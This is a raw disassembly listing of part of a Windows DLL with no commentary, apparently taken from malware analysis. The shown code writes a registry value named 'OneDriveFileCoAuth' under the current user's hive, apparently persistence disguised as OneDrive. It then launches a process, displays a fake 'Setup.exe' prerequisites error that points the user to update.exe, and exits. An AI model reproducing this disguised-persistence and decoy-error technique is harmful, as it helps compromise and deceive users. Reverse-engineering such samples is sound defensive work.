mov edx, dword [ebp - 0x7ec]
cmp edx, 8
jb 0x1000265a
mov ecx, dword [ebp - 0x800]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002650
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c8e
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x804]
xor eax, eax
mov dword [ebp - 0x7f0], 0
mov dword [ebp - 0x7ec], 7
mov word [ebp - 0x800], ax
cmp edx, 8
jb 0x100026b7
mov ecx, dword [ebp - 0x818]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100026ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c8e
push edx
push ecx
call fcn.10003551
add esp, 8
lea eax, [ebp - 0x7e8]
mov dword [ebp - 0x7e8], 0
push eax
push 0x10018920
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov eax, dword [ebp - 0x648]
lea ecx, [ebp - 0x658]
cmp dword [ebp - 0x644], 8
cmovae ecx, dword [ebp - 0x658]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.OneDriveFileCoAuth
push dword [ebp - 0x7e8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
cmovae eax, dword [ebp - 0x658]
push eax
lea eax, [ebp - 0x628]
push 0x104
push eax
call fcn.100067b6
add esp, 0xc
lea eax, [ebp - 0x7a0]
push eax
lea eax, [ebp - 0x7e4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x10
push str.Setup.exe___Error
push str.The_necessary_prerequisites_have_failed_to_be_run._Please_run_update.exe_in_the_config_folder.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x644]
cmp edx, 8
jb 0x100027c5
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100027bb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov eax, dword [ebp - 0x65c]
xor ecx, ecx
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 7
mov word [ebp - 0x658], cx
cmp eax, 8
jb 0x10002822
mov ecx, dword [ebp - 0x670]
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002818
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x674]
xor eax, eax
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x1000287f
mov ecx, dword [ebp - 0x688]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002875
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x68c]
xor eax, eax
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
cmp edx, 8
jb 0x100028dc
mov ecx, dword [ebp - 0x6a0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100028d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x6a4]
xor eax, eax
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 7
mov word [ebp - 0x6a0], ax
cmp edx, 8
jb 0x10002939
mov ecx, dword [ebp - 0x6b8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000292f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x6bc]
xor eax, eax
mov dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a4], 7
mov word [ebp - 0x6b8], ax
cmp edx, 8
jb 0x10002996
mov ecx, dword [ebp - 0x6d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000298c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x6d4]
xor eax, eax
mov dword [ebp - 0x6c0], 0
mov dword [ebp - 0x6bc], 7
mov word [ebp - 0x6d0], ax
cmp edx, 8
jb 0x100029f3
mov ecx, dword [ebp - 0x6e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100029e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x6ec]
xor eax, eax
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 7
mov word [ebp - 0x6e8], ax
cmp edx, 8
jb 0x10002a50
mov ecx, dword [ebp - 0x700]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002a46
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x704]
xor eax, eax
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 7
mov word [ebp - 0x700], ax
cmp edx, 8
jb 0x10002aad
mov ecx, dword [ebp - 0x718]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002aa3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x71c]
xor eax, eax
mov dword [ebp - 0x708], 0
mov dword [ebp - 0x704], 7
mov word [ebp - 0x718], ax
cmp edx, 8
jb 0x10002b0a
mov ecx, dword [ebp - 0x730]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002b00
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x734]
xor eax, eax
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 7
mov word [ebp - 0x730], ax
cmp edx, 8
jb 0x10002b67
mov ecx, dword [ebp - 0x748]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002b5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x74c]
xor eax, eax
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 7
mov word [ebp - 0x748], ax
cmp edx, 8
jb 0x10002bc4
mov ecx, dword [ebp - 0x760]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002bba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov edx, dword [ebp - 0x62c]
xor eax, eax
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 7
mov word [ebp - 0x760], ax
cmp edx, 8
jb 0x10002c21
mov ecx, dword [ebp - 0x640]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10002c17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c93
push edx
push ecx
call fcn.10003551
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003540
mov esp, ebp
pop ebp
ret 0xc
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.100011f0
call fcn.1000675a
call fcn.10001150
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
call fcn.1000675a
int3